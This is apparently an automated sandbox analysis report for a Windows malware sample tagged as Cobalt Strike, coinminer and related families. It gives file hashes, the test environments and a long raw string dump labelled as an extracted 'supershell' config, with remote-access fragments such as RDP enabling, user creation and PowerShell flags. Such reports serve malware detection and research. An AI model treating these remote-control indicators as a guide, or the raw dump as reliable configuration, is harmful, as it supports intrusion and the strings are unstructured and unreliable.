Analysis
- max time kernel
130s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
12/07/2026, 11:37
Static task
static1
Behavioral task
behavioral1
Sample
2026-07-12_c81064fbe0b03481d84da63819d7ee18_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
2026-07-12_c81064fbe0b03481d84da63819d7ee18_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe
Resource
win11ltsc2024-20260709-en
General
- Target 2026-07-12_c81064fbe0b03481d84da63819d7ee18_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe
- Size 5.0MB
- Sample260712-nrkz1aay91
- SHA256 6334880a5798f518a0b2b5b8aa91d508e09dd923f8e33111d72e81338ac789a2
- MD5 c81064fbe0b03481d84da63819d7ee18
- SHA1 b2a109d4203b32e766b2e90833a7877dddd00208
- SHA512 815d309371c020dd9c3c3aff8b50c161d8de3e391de5544b7074906b2f32460493fad6e2d4332d018d7ccb882cb0c65754e451ef226fba75becd8b1c8119ba91
- SSDEEP 49152:sRg0nHU3wAuOdrb/T8vO90d7HjmAFd4A64nsfJ4wLXNk2tbyRcH5OfT8N5t9XdNE:H3wAuOAOA25kYt9tyE8+ePf
- TLSH T1BC363B47F85551E8C1AED234CA259263BA707C891B3033D36BA0F7B82B73BD46A79354
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
supershell
-
2.11.03.11.93.14.532 bit39062564 bit<-chanAacuteAcceptAckAllActiveAgraveAnswerApiURLArabicAtildeAugustAuthorBasic BearerBinaryBitBltBrahmiBypassCANCELCDATA[CLOSEDCarianCcedilChakmaClosedCommonCookieCopticCreateCustomDELETEDaggerEEPROMEacuteEgraveEndDocExpectFEPROMFormatFridayGOAWAYGetACPGetAceGothicHangulHatranHebrewHiddenHyphenIacuteIgraveIsMenuKaithiKhojkiLISTENLPDDR2LPDDR3LPDDR4LambdaLengthLepchaLineToLockedLycianLydianManualMondayMulDivNtildeOacuteOgraveOslashOtildePADDEDPING PONG PatBltPragmaREG_SZRejangSCHED STREETSTRINGSYSTEMScaronSearchServerSourceStatusStringSundaySymbolSyriacSystemTai_LeTangutTargetTeluguThaanaTmpDirTypeMXTypeNSUTC+12UTC+13UTC-02UTC-08UTC-09UTC-11UacuteUgraveUserIdWARN: WINDIRWanchoWeeklyWeightX25519YacuteYezidi[%d]%s[]byte\u%04X\u0000\u0001\u0002\u0003\u0004\u0005\u0006\u0007\u0008\u000b\u000e\u000f\u0010\u0011\u0012\u0013\u0014\u0015\u0016\u0017\u0018\u0019\u001a\u001b\u001c\u001d\u001e\u001f\u0022\u0026\u0027\u002b\u003c\u003e\u0060\u2028\u2029\ufffd _amd64aacuteacceptactionactiveagravearray*atildeavx512binaryborderbrvbarbuild bytes*ccedilcentoschan<-closedcmd_idconptycookiecoordscurrendaggerdebiandefinedeletedividedomaineacuteefenceegraveempty env.nuexec: existsexpectfedoraforallfrac12frac14frac34go %s goarchgopherhangupheaderheartsheighthelliphiddeniacuteigraveimportinternip+netiquestkMGTPEkilledlambdalfloorlistenlowastlsaquomailtomethodmiddotminutemonthsnats: natswsnetdnsnomeshntildenu.exenumbernutempoacuteobjectograveoriginoslashotildeotimesoutputpausedpermilplusmnpopcntposterprintfpythonquery:rdrandrdseedrdtscpreadatredhatremoverenamereturnrfloorrsaquorune1 scaronscopedscriptsecondselectsendtoserversigmafsilentsimplesocketsocks socks5spadessrcdocsrcsetstate(statusstdoutstringstructsweep switchsysmontargettelnetthere4thinsptimerstmpdirtypeofuacuteubuntuugraveuint16uint32uint64unusedusemapvaluesweierpwinptyx86_64xmlns:yacute{ARCH} %v=%v, (conn) (scan (scan) MB in Value> action allocs dying= flags= len=%d locks= m->g0= nmsys= pad1= pad2= s=nil text= using zombie% CPU (%s %s; %s://%s%v days%v hour%v week%v year%v: %#x, goid=, j0 = , type=--force-nodeid/LOG=%s19531252.5.4.32.5.4.52.5.4.62.5.4.72.5.4.82.5.4.99765625: type ::ffff::method:scheme:status= "`API URLAckNoneActionsAgentIDAgentPKAvestanBaseURLBengaliBrailleCLOSINGCOMMENTCONNECTChanDirClassIdConnectContactContextConvertCopySidCreatedCypriotDEBUG: DeseretERROR: Ed25519ElbasanEllipseElymaicEnabledEndMenuEndPageEpsilonExpiresFATAL: FreeSidGNUStepGODEBUGGetMenuGetTaskGranthaGroupIdHEADERSHanunooILLEGALIM UsedIO waitInstAltInstNopInstallJanuaryKannadaMD2-RSAMD5-RSAMUI_DltMUI_StdMakasarMandaicMarchenMaskBltMeshDirMonthlyMultaniMyanmarNewTaskOctoberOmicronOsmanyaPATHEXTPolygonRadicalRefererSELECT SHA-224SHA-256SHA-384SHA-512SUCCESSServiceSetMenuSetRectSharadaShavianSiddhamSinhalaSite IDSleepExSogdianSoyomboSubjectSwapperTagalogTask PKTibetanTirhutaToAsciiTrailerTuesdayTypeALLTypeOPTTypePTRTypeSOATypeSRVTypeTXTTypeWKSUNKNOWNUnknownUpdatesUpgradeUpsilonUsage: VersionWARNINGWSARecvWSASend[INFO] "`'/<-#\\.\UNC\ ) types value=_structabortedalefsymallocmRallocmWalt -> amxbf16amxint8amxtileanswersany -> archiveavx512fbdoUxXvbooleanbucket(charsetcheckedchunkedclassidclosurecmd.execolspancommandcomplexconnectconsolecontentcpuprofdefaultderiveddirnameenctypeepsilonexpiresfailingfields.finallyfloat32float64forcegcgctracehead = headershttp://installinstantintegerinvalidkeytypelognamelookup manjaromeshdirminpc= minutesmpr.dllmsgpacknil keynop -> number nushellomicronoperandoptimumosxsavepacer: packagepanic: passingpatternpdh.dllpreloadprintlnprofilepubdatereaddirrefererrefreshrestartresultsrowspanrunningsandboxsecondsserial:signal site-idspecialsrclangstoppedstring*subkeyssuccesssyscalltimeouttraileruintptrunknownupgradeupsilonversionwaitingwindowswsarecvwsasend{{end}} bytes, data=%q etypes incr=%v is not maxpc= mcount= minLC= minutes nalloc= newval= nfreed= packed= ping=%q pointer stack=[ status xmlns="%!Month(%.10q...%.1f %cB%02d%02d%25s: %s%s %s:%d%s /C %s%s&#x%x;%s: %s %s;%s;%s%v hours%v month%v weeks%v years�--config012345672.5.4.102.5.4.112.5.4.172006010248828125AbortDocAcceptExAcceptedAngleArcArmenianBAD RANKBalineseBopomofoBugineseCLICOLORCancelIoCherokeeClassANYComputerConflictContinueCopyRectCurveID(CyrillicDNS nameDSA-SHA1DecemberDeleteDCDisabledDownloadDrainingDrawIconDuployanDurationDwmFlushEndPaintEqualSidEthiopicExtenderFebruaryFillRectFullPathGeorgianGetFocusGetTasksGoStringGujaratiGurmukhiHOMEPATHHTTP/1.1HTTP/2.0HelpLinkHiraganaIdentityInsecureInstFailInstRuneIntervalIsWindowJavaneseKatakanaKayah_LiLAST_ACKLinear_ALinear_BLocationMD5+SHA1MD5-sessMahajaniMoveToExNO_ERRORNO_PROXYNode id:NovemberOl_ChikiOpenStepPRIORITYParseIntPasswordPhags_PaPolylinePriorityPtInRectQuestionReadFileReceivedResetDCWRunLevelSETTINGSSHA1-RSASHA3-224SHA3-256SHA3-384SHA3-512SYN_SENTSameSiteSaturdaySetEventSetFocusSetTimerSettingsSystem32TagbanwaTai_ThamTai_VietTextOutWThursdayTifinaghToken %sTriggersTypeAAAATypeAXFRUgariticUpdateIDWSAIoctlZgotmplZ[::1]:53[:word:][ERROR] [signal "%s" %s --%s stack=[_NewEnum_gatewayaddress agent_idantergosautoplayavx512bwavx512cdavx512dqavx512eravx512pfavx512vlbad instbeEfFgGvcgocheckcodebasecomp_syscompresscontinuecontrolscs curl -X datetimedeadlockdeno.exedenotempdisableddnsquerydropzonedurationencodingexecwaitexplicitexporterfile+netfinishedfont/otffont/ttffs graphicsgs has_morehijackedhostnamehreflanghttp/1.1if-matchif-rangeinfinityinsecureinvalid ip4:icmpis-*.tmplanguagelinkpathlocationlongdescloopbacklstrcpyWlstrlenWmanifestmultiplenats: %snatsportnew_namenew_pathno anodeno-cacheno_proxynssm.exeold_nameold_patholeaut32opensuseoriginalpanic %vpath %s photurispollDescpy38-x32py38-x64r10 r11 r12 r13 r14 r15 r8 r9 raspbianrax rbp rbx rcx rdi readfromreadonlyrecvfromredirectrequiredreversedrflags rip rsi rsp runnablescavengeseamlessselectedshutdownsockaddrsoftwarestrconv.syncmeshtabindextemplatetextareathetasymtraceBuftrigger=unixgramunknown(updtCnt:urlquerywsaioctlx509sha1{{else}} (forced) -> node= B exp.) B work ( as type blocked= in use) lockedg= lockedm= m->curg= marked ms cpu, not in [ of type runtime= s.limit= s.state= threads= unmarked wbuf1.n= wbuf2.n=#ZgotmplZ%s %q: %s%s %x %x %v minute%v months%v second(unknown), newval=, oldval=, size = , tail = 01234567_0x%X (%d)1 error: 244140625: status=AUOptionsAgent ID:Agent PK:ArgumentsAuthorityAutomaticBase URL:Bassa_VahBhaiksukiBigEndianCONNECTEDCheckInSWClassINETClient IDCreateDCWCreateICWCreatePenCuneiformDiacriticDrawTextWEndDialogEqualRectEvery dayExecQueryFindCloseForbiddenGetDIBitsGetFolderGetWindowHOMEDRIVEHex_DigitInheritedInstMatchInstRune1InterfaceKhudawadiLoadIconWLoadMenuWLocalFreeLogonTypeMalayalamMongolianMoveFileWNabataeanNot FoundOnFailurePalmyreneParseBoolParseUintPrincipalPublisherPurgeCommREG_DWORDREG_QWORDRPC debugRectangleReleaseDCReleaseIdRemoveAllRun Task:SamaritanSee OtherSendInputSeptemberSetBkModeSetCursorSetupCommStartDocWStartPageStartTypeSundaneseSyncMesh:TIME_WAITTimestampToo EarlyTrailer: TypeCNAMETypeHINFOTypeMINFOUnionRectUse ProxyWSASendToWakeToRunWednesdayWinTmpDirWriteFile[%v = %d][:^word:][:alnum:][:alpha:][:ascii:][:blank:][:cntrl:][:digit:][:graph:][:lower:][:print:][:punct:][:space:][:upper:]_outboundagent-wmiagent.logalmalinuxatomicor8autofocusautomaticbad indirbad prunebroadcastbus errorchallengechan sendchoco.execlient-idcomplex64config.nuconnectexconpty-incopystackcpu-totalctxt != 0d.nx != 0dns,filesdraggabledxva2.dllelement <empty urlexit_codefiles,dnsfont/wofffork/execfuncargs(gdi32.dllgetCallerhchanLeafimage/bmpimage/gifimage/pnginittraceinterfaceinterruptinvalid nipv6-icmplinuxmintlocalhostmSpanDeadmap[%s]%smaxlengthmeshagentmkdirtempmulticastnil errornil tracentdll.dllole32.dllomitemptyopeneulerpage_sizepanicwaitpclmulqdqpreemptedprofBlockprotocol psapi.dllquestionsrecover: reflect: runchecksrwxrwxrwxscavtracestackpoolstartTypesucceededtimestamptracebackundefinedunderflowunhandleduninstallurn:uuid:video/avivideo/mp4wbufSpanswebsocketwinmm.dllwsasendto{VERSION}{{break}}} stack=[ netGo = MB goal, but have flushGen for type gfreecnt= heapGoal= pages at ptrSize= runqsize= runqueue= s.base()= spinning= stopwait= stream=%d sweepgen sweepgen= targetpc= throwing= until pc=%!Weekday(%s|%s%s|%s%v minutes%v seconds, bound = , limit = -NoProfile.localhost.terminal./dev/stdin/etc/hosts/r /t 5 /f012345678912207031256103515625: parsing :authority<no value>AcceptEulaAdditionalAll monthsAlphaBlendBad varintBeginPaintCLOSE_WAITCONNECTINGCache DRAMCancelIoExCategoriesCategoryIDCheckInWMIChorasmianClassCHAOSClassCSNETCombineRgnConnectionContent-IdCreateFileCreateIconCreateMenuCreatePipeDSA-SHA256DaysOfWeekDefinitionDeleteMenuDeleteTaskDeprecatedDevanagariDnsQuery_WDragFinishDrawIconExECDSA-SHA1END_STREAMEnable RDPEvery weekException FIN_WAIT_1FIN_WAIT_2GC forced GOMAXPROCSGOMEMLIMITGetDlgItemGetFoldersGetIfEntryGetObjectWGetSubMenuGetVersionGlagoliticGlobalFreeGlobalLockHKEY_USERSHTTP_PROXYHost: %s IP addressIgnore NewInstalled:IsValidSidKeep-AliveKharoshthiLoadImageWLocalAllocLockFileExManichaeanMesh AgentMessage-IdMoveWindowNATS/1.0 NetUserAddNetUserDelNo ContentOffsetRectOld_ItalicOld_PermicOld_TurkicOpenEventWOpenMutexWOpenThreadOther_MathPOSTALCODEParseAddr(ParseFloatPhoenicianPingCheck:PlaySoundWPolyBezierProcessingPulseEventREG_BINARYRIPEMD-160RST_STREAMRemoveMenuRepetitionResetEventSHA256-RSASHA384-RSASHA512-RSASYSTEMROOTSaurashtraSend EmailSet-CookieSetBkColorSetCaptureShcore.dllShowCursorShowWindowStatus: %sStretchBltSupportURLSynch DRAMUNKNOWN_%dUser-AgentWSACleanupWSASocketWWSAStartupWindows 10Windows 11[:^alnum:][:^alpha:][:^ascii:][:^blank:][:^cntrl:][:^digit:][:^graph:][:^lower:][:^print:][:^punct:][:^space:][:^upper:][:xdigit:] --%s-- _reserved1agent-typearg %d: %watomicand8audio/aiffaudio/midiaudio/mpegaudio/waveavx512bf16avx512gfniavx512ifmaavx512vaesavx512vbmiavx512vnnibackgroundbase_boardcomplex128connectionconpty-outcreatetempdebug calldefinitiondnsapi.dlldwmapi.dllecho replyexecerrdotexitThreadexp masterfloat32nanfloat64nanfont/woff2formactionformmethodformtargetgetsockoptgoroutine http-equivhttp_proxyimage/avifimage/jpegimage/webpimpossibleinstanceofinvalid IPinvalidptrkeep-alivelocal-meshmSpanInUsemediagroupmesh agentmeshnodeidnil headernot a boolnotifyListnovalidateowner diedpowershellprofInsertpython.exeradiogroupres binderres masterresumptionrune <nil>runtime: gs.state = schedtracescientificsemacquiresession_idset-cookiesetsockoptskipping: socks bindspellcheckstackLarget.Kind == terminatedtracefree(tracegc() unins*.exeunixpacketunknown pcuser-agentuser32.dllvideo/webmwinagent-vwinpty.dllws2_32.dll of size (targetpc= , plugin: ErrCode=%v KiB work, exp.) for freeindex= gcwaiting= idleprocs= in status mallocing= ms clock, nBSSRoots= p->status= s.nelems= schedtick= span.list= timerslen=%d errors: %d.%d.%d.%d%s %s %s ) at entry+, elemsize=, npages = , settings:--no-prompt.WithCancel.cmdoutput./VERYSILENT/dev/stderr/dev/stdout/index.html0123456789_0x%08X (%d)30517578125: frame.sp=> in space AckExplicitAppendMenuWBLAKE2b-256BLAKE2b-384BLAKE2b-512BLAKE2s-256Bad GatewayBad RequestCOM HandlerClassHESIODCloseHandleCoGetObjectCookie.PathCreateFileWDaysOfMonthDefDlgProcWDeleteFileWDescriptionDestroyIconDestroyMenuDisplayNameDives_AkuruDownloaded:DrawMenuBarENABLE_PUSHEND_HEADERSESTABLISHEDEarly HintsEnable pingEndBoundaryEnumWindowsEnvironmentExitProcessFileVersionFindWindowWFreeLibraryGOMEMLIMIT=GOTRACEBACKGetFileTimeGetFileTypeGetIfEntry2GetKeyStateGetMenuInfoGetMessageWGetSysColorGetWindowDCGlobalAllocHTTPS_PROXYIdeographicIn-Reply-ToInflateRectInsertMenuWInstCaptureInstRuneAnyInstallDateInteractiveIsInstalledIsRectEmptyLastRunTimeLoadCursorWMachineGuidMarshalJSONMarshalTextMedefaidrinMesh Agent:Mesh agent:MessageBeepMessageBoxWModifyMenuWMoveFileExWNATS error:NandinagariNetShareAddNetShareDelNetUserEnumNew_Tai_LueNextRunTimeOld_PersianOld_SogdianOpenProcessPROGRAMDATAPatchMgmnt:Pau_Cin_HauPrintWindowProductNameRandomDelayRegCloseKeyReturn-PathSHA-512-256SHA-512/224SHA-512/256SYSTEMROOT=Sending WMISetCommMaskSetFileTimeSetMenuInfoSignWritingSoft_DottedStateChangeSwapBuffersSystemDriveTTL expiredTacticalRMMToUnicodeExUSERPROFILEUserenv.dllVariantInitVirtualFreeVirtualLockWARN RESTY WSARecvFromWaitMessageWaitTimeoutWarang_CitiWhite_Space[:^xdigit:]\device\mup_eval_args_additionalsagent-disksagent-helloalarm clockassistQueueauthoritiesavx512vbmi2avx512vnniwbad addressbad argSizebad m valuebad messagebad timedivbad verb '%broken pipecall of nilcgocall nilcheckrunnerclobberfreeclosesocketcombase.dllcontextmenucreated by crossorigincrypt32.dlldescriptionempty fieldexpected :=fallthroughfile existsfinal tokenfloat32nan2float64nan1float64nan2float64nan3formenctypegccheckmarkgdiplus.dllgetpeernamegetsocknameglobalAllochttp2clienthttp2serverhttps_proxyi/o timeoutlocal errormSpanManualmethodargs(minTrigger=msimg32.dllmswsock.dllnetpollInitnil Contextnil contextnot definedoraclelinuxparse errorplaceholderraw-controlreflect.SetreflectOffsretry-afterruntime: P runtime: g runtime: p scheddetailsechost.dllsecur32.dllshell32.dllshort writestack tracetacticalrmmtls: alert(tls://%s:%stracealloc(traffic updunreachableunsupporteduserenv.dllversion.dllwinagent-v*winpty_freewinpty_openwsarecvfromwss://%s:%s (sensitive) = struct { B (∆goal KiB total, MB stacks, [recovered] allocCount found at *( gcscandone m->gsignal= maxTrigger= nDataRoots= nSpanRoots= pages/byte preemptoff= s.elemsize= s.sweepgen= span.limit= span.state= sysmonwait= wbuf1=<nil> wbuf2=<nil>%02d-%d-%02d) p->status=, cons/mark --env-config-byte limit -fullinstall100-continue127.0.0.1:53152587890625762939453125> but have <Agent token:BODY : %v Bidi_ControlCIDR addressCONNECT %s CONTINUATIONCfgMgr32.dllCheckInDisksCheckInHelloCheckInPubIPCoCreateGuidCoInitializeContent TypeContent-TypeCookie.ValueCreateBitmapCreateCursorCreateEventWCreateFolderCreateMutexWCurrentBuildCustomSourceDDR2 FB-DIMMDEBUG RESTY DISCONNECTEDDaysIntervalDeleteObjectECDSA-SHA256ECDSA-SHA384ECDSA-SHA512ERROR RESTY EnableWindowEulaAcceptedExtCreatePenExtractIconWFindNextFileGetAddrInfoWGetCommStateGetConsoleCPGetCursorPosGetDlgCtrlIDGetLastErrorGetLengthSidGetMenuStateGetProcessIdGetStdHandleGetTempPathWGetTopWindowGlobalUnlockHEADERS: %s HOST : %s I'm a teapotIdleDurationIdleSettingsInstAltMatchIsDownloadedJoin_ControlKBArticleIDsLittleEndianLoadLibraryWLoadResourceLockResourceMax-ForwardsMeetei_MayekMesh Node IDMime-VersionMissing pathMonthsOfYearMoreInfoURLsMsrcSeverityMulti-StatusNeedsReboot:Netapi32.dllNot ExtendedNot ModifiedNtCreateFileOpen ServiceOpenServiceWPROGRAMFILESPUSH_PROMISEPahawh_HmongPdhOpenQueryPeekMessageWPostMessageWProgramFilesPublicIP errRCodeRefusedRCodeSuccessRECONNECTINGREG_MULTI_SZReadConsoleWRedrawWindowRegGetValueWReleaseMutexReportEventWRestartCountResumeThreadRevertToSelfRoInitializeRun ParallelRunning taskSERIALNUMBERSHA-256-sessSYN_RECEIVEDSameSite=LaxScrollWindowSelectObjectSendMessageWSession LockSetCommBreakSetCommStateSetConsoleCPSetCursorPosSetEndOfFileSetErrorModeSetLocalTimeSetRectEmptySetStdHandleSetTextColorSetWindowPosSetupAPI.dllShow MessageSlowConsumerSora_SompengSubscriptionSubtractRectSyloti_NagriSysStringLenTactical RMMTacticalRMM_Thread32NextTransmitFileUnauthorizedUnlockFileExUpdateWindowUsing proxy:ValidateRectValueQueriesVariantClearVersionMajorVersionMinorVirtualAllocVirtualQueryWeeksOfMonthX-ImforwardsX-Powered-Byabi mismatchadvapi32.dllagent-winsvcaltmatch -> anynotnl -> autocompleteavx5124fmapsavx512bitalgbad flushGenbad g statusbad g0 stackbad recoveryblock clausebuild %s=%s c ap trafficc hs trafficcaller errorcan't happencas64 failedchan receiveclose notifycomctl32.dllcomdlg32.dllcontent-typecontext.TODOdumping heapecho requestend tracegc entersyscallexit status gcBitsArenasgcpacertracegetaddrinfowharddecommithost is downhttp2debug=1http2debug=2illegal seekimage/x-iconinvalid baseinvalid bodyinvalid kindinvalid pathinvalid portinvalid slotiphlpapi.dllkernel32.dlllfstack.pushlogrus_errormadvdontneedmax-forwardsmesh_node_idmheapSpecialmissing pathmspanSpecialnetapi32.dllno extensionno such hostnot pollablenssm-x86.exentoskrnl.exeoleaut32.dllopengl32.dllout of rangepointtopointproxyconnectrandautoseedrecv_goaway_reflect.Copyregistrationreleasep: m=remote errorruntime: gp=runtime: sp=s ap traffics hs trafficself-preemptservices.exesetupapi.dllshort buffershutdown.exespanSetSpinestop_pendingstring|bytessweepWaiterstacticalrmm*traceStringstransmitfileunexpected )unins000.exeunknown portunknown typewinpty_bins/winpty_spawnwintrust.dllwirep: p->m=worker mode wtsapi32.dll{{continue}} != sweepgen (default %q) (default %v) MB globals, MB) workers= [%dm%s[0m= called from closed by </ flushedWork idlethreads= in duration in host name is nil, not nStackRoots= out of range pluginpath= s.spanclass= span.base()= syscalltick= work.nproc= work.nwait= %s://%s:%d/%s, gp->status=, not pointer--WebProxy=%s--no-progress-byte block (3814697265625: unknown pc <unsupported>AUDIT_FAILUREAUDIT_SUCCESSAccept-RangesAuthorizationCLIENT_RANDOMCONNECT_ERRORCPU Load Avg:Cache-ControlCertOpenStoreCheckInWinSvcCheckMenuItemCloseEventLogCoTaskMemFreeCompatibilityConnectServerContent-RangeCreateActCtxWCreateRectRgnCreateWindowWDRAINING_PUBSDRAINING_SUBSDeleteServiceDestroyCursorDestroyWindowDocumentationECDSAWithSHA1EnumProcessesEstimatedSizeExitWindowsExFQDN too longFindFirstFileFindNextFileWFindResourceWForcing ipv4:FreeAddrInfoWGC sweep waitGetClassLongWGetClassNameWGetClientRectGetDeviceCapsGetDriveTypeWGetIfEntry2ExGetMenuItemIDGetSystemMenuGetSystemTimeGetWindowInfoGetWindowRectGo CPU Check:Gunjala_GondiIIDFromStringIf-None-MatchImageList_AddInstallSourceIntersectRectInvalid monthLast-ModifiedLoop DetectedMapViewOfFileMasaram_GondiMende_KikakuiMeshAgent.exeModule32NextWNatsProxyPathNatsProxyPortNot InstalledOld_HungarianOpenClipboardOpenEventLogWPKCS1WithSHA1PdhCloseQueryREG_EXPAND_SZRPC RunChecksReadEventLogWRegDeleteKeyWRegEnumKeyExWRegEnumValueWRegOpenKeyExWReset ContentRestartOnIdleRtlCopyMemoryRtlGetVersionRtlInitStringRtlMoveMemoryRunOnlyIfIdleSHA256-RSAPSSSHA384-RSAPSSSHA512-RSAPSSSTREAM_CLOSEDSafeArrayCopySafeArrayLockSelectClipRgnSetBrushOrgExSetClassLongWSetDCPenColorSetSystemTimeShellExecuteWStartBoundaryStartServiceWStop ExistingStopOnIdleEndStringFromIIDSysFreeStringTacticalAgentThe log levelThread32FirstUNSUB %d %s Unknown ErrorUpdateID='%s'Usage of %s: VirtualUnlockWINDOW_UPDATEWTSFreeMemoryWaitCommEventWeeksIntervalWriteConsoleW[FrameHeader accept-rangesaccess deniedauthorizationbad flushGen bad map stateby_start_timecache-controlcomp_sys_prodcontent-rangedalTLDpSugct?define clausedouble unlockemail addressempty commandempty integerexchange fullexecRInternalfatal error: getTypeInfo: gethostbynamegetservbynamegzip, deflateif-none-matchimage/svg+xmlinvalid ASN.1invalid UTF-8invalid base ip6:ipv6-icmplame referrallast-modifiedlevel 3 resetload64 failedmeshagent.exemin too largenats: timeoutnil stackbaseno name spacenot a Float32not availableout of memoryparsing time pause_pendingprofMemActiveprofMemFutureruntime: seq=runtime: val=socks connectsrmount errorstart_pendingtestRInternaltime exceededtimeEndPeriodtimer expiredtlsmaxrsasizetraceStackTabtrmm/%s/%s/%sunexpected %sunimplementedunknown type unsupported: updaterunninguser canceledvalue method wglShareListsxadd64 failedxchg64 failed} sched={pc: /* %s */null needspinning= nmidlelocked= on zero Value out of range procedure in to finalizer untyped args %v, Attempt %v-fulluninstall-thread limit .WithDeadline(/api/v3/choco/1907348632812595367431640625: extra text: <not Stringer>> closed by </Accept-CharsetActivateActCtxAgentStartup()CLICOLOR_FORCECallNextHookExCertCloseStoreClearCommBreakClearCommErrorClientToScreenCloseClipboardCoInitializeExCoUninitializeComputerNameExContent-LengthControlServiceCreateEventExWCreateMutexExWCreateProcessWCreateServiceWCryptGenRandomCurrentVersionDefWindowProcWDisplayVersionDkim-SignatureDragQueryFileWDragQueryPointDuplicateTokenDwmEnableMMCSSDwmShowContactERR_UNKNOWN_%dEmptyClipboardEnableMenuItemEnumPageFilesWFindFirstFileWFormatMessageWGC assist waitGC worker initGdiplusStartupGetConsoleModeGetMenuBarInfoGetMenuStringWGetMessageTimeGetPixelFormatGetProcAddressGetShellWindowGetStockObjectGetSystemTimesGetTickCount64GetUserNameExWGetWindowLongWGetWindowTextWHiliteMenuItemINTERNAL_ERRORInstEmptyWidthInvalid ActionInvalidateRectIsWellKnownSidIsWow64ProcessLastTaskResultLoadLibraryExWMAX_FRAME_SIZEMB; allocated MakeAbsoluteSDMapVirtualKeyWModule32FirstWNetUserGetInfoNetUserSetInfoNot AcceptableOpenSCManagerWOther_ID_StartPROTOCOL_ERRORPattern_SyntaxPrints versionProcess32NextWPublicIP startQuotation_MarkRCodeNameErrorREFUSED_STREAMREQUEST_METHODReboot needed:RegDeleteTreeWRegSetValueExWReleaseCaptureRemote ConnectResourceHeaderRevisionNumberRunPythonCode:Running checksSUB %s %s %d ScreenToClientSession UnlockSetConsoleModeSetFilePointerSetPixelFormatSetThreadTokenSetWindowLongWSetWindowTextWSizeofResourceSleeping for 5SysAllocStringTrackPopupMenuTranslateNameWTypesSupportedVerQueryValueWVirtualProtectVirtualQueryEx[^\w@%+=:,./-]\.+*?()|[]{}^$ Error %d: %s accept-charsetagent-publicipallocfreetracebad allocCountbad record MACbad restart PCbad span statecontent-lengthdata truncatedfile too largefinalizer waitformnovalidategcstoptheworldgetprotobynameinternal errorinvalid optioninvalid pid %vinvalid semverinvalid syntaxis a directorykey size wronglen of type %slevel 2 haltedlevel 3 haltedmultipartfilesneed more datanetwork_confignil elem type!no module datano such devicepacket too bigpowershell.exeprotocol errorread_frame_eofreflect.Selectruntime: full=runtime: want=s.allocCount= script_resultssemaRoot queuestack overflowstopm spinningstore64 failedsync.Cond.Waittext file busytoo many linkstoo many usersunexpected EOFunknown code: unknown error unknown methodunknown mode: unknown node: unknown statusunreachable: unsafe.PointeruserArenaStatewglMakeCurrentwinapi error #work.full != 0zero parameter with GC prog (no semicolon) is unavailable()<>@,;:\"/[]?=,M3.2.0,M11.1.0-NonInteractive0601021504Z0700476837158203125: cannot parse : no frame (sp=<invalid DWORD><invalid QWORD><invalid Value>ASCII_Hex_DigitAccept-EncodingAccept-LanguageAddDllDirectoryCLSIDFromProgIDCLSIDFromStringCallWindowProcWCheckInSyncMeshClientAuthType(Console ConnectCreateHardLinkWCreatePopupMenuCreateWindowExWDefSubclassProcDeviceIoControlDialogBoxParamWDragAcceptFilesDuplicateHandleEnabling RDP...Every other dayFailed to find Failed to load FindNextStreamWFindNextVolumeWFindVolumeCloseFlushViewOfFileGateway TimeoutGdiplusShutdownGetActiveObjectGetActiveWindowGetAdaptersInfoGetClassInfoExWGetCommTimeoutsGetCommandLineWGetEnhMetaFileWGetMenuItemRectGetMonitorInfoWGetProcessTimesGetRawInputDataGetSecurityInfoGetStartupInfoWGetTextMetricsWHEADERS : Hanifi_RohingyaIdempotency-KeyImpersonateSelfInsertMenuItemWInstallLocationIsWindowEnabledIsWindowUnicodeIsWindowVisibleIsWow64Process2Length RequiredMonitorFromRectNTSTATUS 0x%08xNetGetAnyDCNameNetworkSettingsNot ImplementedNot InitializedNtResumeProcessOpenThreadTokenOther_LowercaseOther_UppercasePKCS1WithSHA256PKCS1WithSHA384PKCS1WithSHA512Partial ContentPlayEnhMetaFilePostQuitMessageProcess32FirstWPsalter_PahlaviQueryDosDeviceWQueue InstancesRecovering meshRegCreateKeyExWRegDeleteValueWRequest TimeoutRestartIntervalRtlDefaultNpAclSafeArrayCreateSafeArrayGetDimSafeArrayGetIIDSafeArrayUnlockSameSite=StrictSetCommTimeoutsSetDCBrushColorSetSecurityInfoSetVolumeLabelWShowWindowAsyncStatus: runningStringFromCLSIDStringFromGUID2SwapMouseButtonTactical Agent:The mode to runUninstallStringUnmapViewOfFileWhere to log toX-Forwarded-For] morebuf={pc:accept-encodingaccept-languageadvertise erroragent-agentinfoallocmRInternalapplication/oggapplication/pdfapplication/zipasyncpreemptoffavx512vpopcntdqbad certificatebad trailer keycontenteditabledesktop_monitordouble scavengeelem size wrongfmipv6 messagesfont/collectionforce gc (idle)invalid addressinvalid argSizeinvalid booleaninvalid pointerjstmpllitinterpkey has expiredkilling processmalloc deadlockmisaligned maskmissing addressmissing mcache?monitoring_typems: gomaxprocs=negative offsetnetwork is downnetwork_adapterno dot in fieldno medium foundno such processnon-minimal tagnot implementedpreempt SPWRITErecord overflowrecovery failedrecv_rststream_reflectlite.Setruntime error: runtime: frame runtime: max = runtime: min = runtimer: bad pscan missed a gstartm: m has pstopm holding psync.Mutex.Locktacticalagent-vtacticalrmm.exetarinsecurepathtemplate clausetimeBeginPeriodtimestamp replytraceback stuckunclosed actionunexpected typeunknown Go typeunknown networkunknown versionunknown/invalidwindows-servicewinpty_set_sizewrite error: %wx-forwarded-forzipinsecurepath already; errno= mheap.sweepgen= not in ranges: untyped locals %s %s HTTP/1.1 ()<>@,;:\"/[]?= , not a function--no-config-file-ExecutionPolicy.WithValue(type /api/v3/checkin//etc/resolv.conf0123456789ABCDEF0123456789abcdef2384185791015625: value of type > in name space AdjustWindowRectAllowDemandStartAlready ReportedCheckInAgentInfoCheckInLimitDataCloseEnhMetaFileCoCreateInstanceConnectNamedPipeContent-EncodingContent-LanguageContent-Length: CopyEnhMetaFileWCreateDIBSectionCreateDirectoryWCreateJobObjectWCreateNamedPipeWCreateSolidBrushCryptProtectDataCryptQueryObjectDefineDosDeviceWDelayedAutoStartDispatchMessageWDnsNameCompare_WDuplicateTokenExDwmDefWindowProcDwmRenderGestureDwmTetherContactEnabling ping...EnumChildWindowsEventMessageFileEvery other 